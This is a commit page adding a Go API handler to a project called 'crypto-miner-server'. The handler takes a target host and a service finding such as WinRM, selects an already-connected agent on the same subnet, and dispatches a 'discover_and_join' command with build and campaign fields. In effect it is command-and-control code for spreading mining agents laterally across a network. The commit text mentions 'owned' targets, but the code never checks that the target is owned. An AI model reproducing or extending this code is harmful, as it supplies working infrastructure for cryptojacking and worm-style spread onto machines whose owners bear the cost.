Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
215
server/internal/api/fleet_spread_host.go
Normal file
215
server/internal/api/fleet_spread_host.go
Normal file
@@ -0,0 +1,215 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
type spreadToHostRequest struct {
|
||||
Host string `json:"host"`
|
||||
Finding string `json:"finding"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
|
||||
// POST /api/v1/fleet/spread-to-host
|
||||
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
|
||||
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadToHostRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Finding = strings.TrimSpace(req.Finding)
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.JoinLane = strings.TrimSpace(req.JoinLane)
|
||||
if req.Host == "" {
|
||||
http.Error(w, "host required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok {
|
||||
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.JoinLane != "" {
|
||||
lane.Lane = normalizeJoinLane(req.JoinLane)
|
||||
}
|
||||
|
||||
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
|
||||
if found && reachable {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"agent_id": agentID,
|
||||
"agent_reachable": true,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"queued": false,
|
||||
"recommended_command": "discover_and_join",
|
||||
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
|
||||
commandArgs := map[string]interface{}{
|
||||
"target_host": req.Host,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
}
|
||||
if req.BuildID != "" {
|
||||
commandArgs["build_id"] = req.BuildID
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
commandArgs["campaign"] = req.Campaign
|
||||
}
|
||||
|
||||
queued := false
|
||||
var dispatchErr string
|
||||
if seedOK && f.ws != nil {
|
||||
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
|
||||
dispatchErr = err.Error()
|
||||
} else {
|
||||
queued = true
|
||||
}
|
||||
}
|
||||
|
||||
recommended := fmt.Sprintf(
|
||||
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
|
||||
firstNonEmptySpread(seedName, seedID, "best online agent"),
|
||||
req.Host,
|
||||
lane.Lane,
|
||||
)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"finding": req.Finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": false,
|
||||
"agent_found": found,
|
||||
"seed_agent_id": seedID,
|
||||
"seed_agent_name": seedName,
|
||||
"queued": queued,
|
||||
"dispatch_error": dispatchErr,
|
||||
"recommended_command": "discover_and_join",
|
||||
"command_args": commandArgs,
|
||||
"operator_note": recommended,
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
}
|
||||
|
||||
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
|
||||
if database == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := database.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if hub != nil {
|
||||
reachable = hub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
|
||||
if hub == nil {
|
||||
return "", "", false
|
||||
}
|
||||
subnet := spreadrouter.SubnetFromIP(targetHost)
|
||||
if subnet != "" {
|
||||
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
|
||||
return rec.SeedAgentID, rec.SeedAgentName, true
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: lowest-latency connected agent on same /24.
|
||||
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
|
||||
var bestID, bestName string
|
||||
bestLatency := int(^uint(0) >> 1)
|
||||
hub.mu.RLock()
|
||||
for id, conn := range hub.agents {
|
||||
if conn == nil || hub.db == nil {
|
||||
continue
|
||||
}
|
||||
ag, err := hub.db.GetAgent(id)
|
||||
if err != nil || ag == nil {
|
||||
continue
|
||||
}
|
||||
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
|
||||
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
|
||||
continue
|
||||
}
|
||||
lat := 9999
|
||||
if ag.LatencyMs != nil {
|
||||
lat = *ag.LatencyMs
|
||||
}
|
||||
if lat < bestLatency {
|
||||
bestLatency = lat
|
||||
bestID = id
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
if bestID != "" {
|
||||
return bestID, bestName, true
|
||||
}
|
||||
|
||||
// Last resort: any connected agent.
|
||||
hub.mu.RLock()
|
||||
for id := range hub.agents {
|
||||
if hub.agents[id] != nil {
|
||||
bestID = id
|
||||
if hub.db != nil {
|
||||
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
return bestID, bestName, bestID != ""
|
||||
}
|
||||
|
||||
func firstNonEmptySpread(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user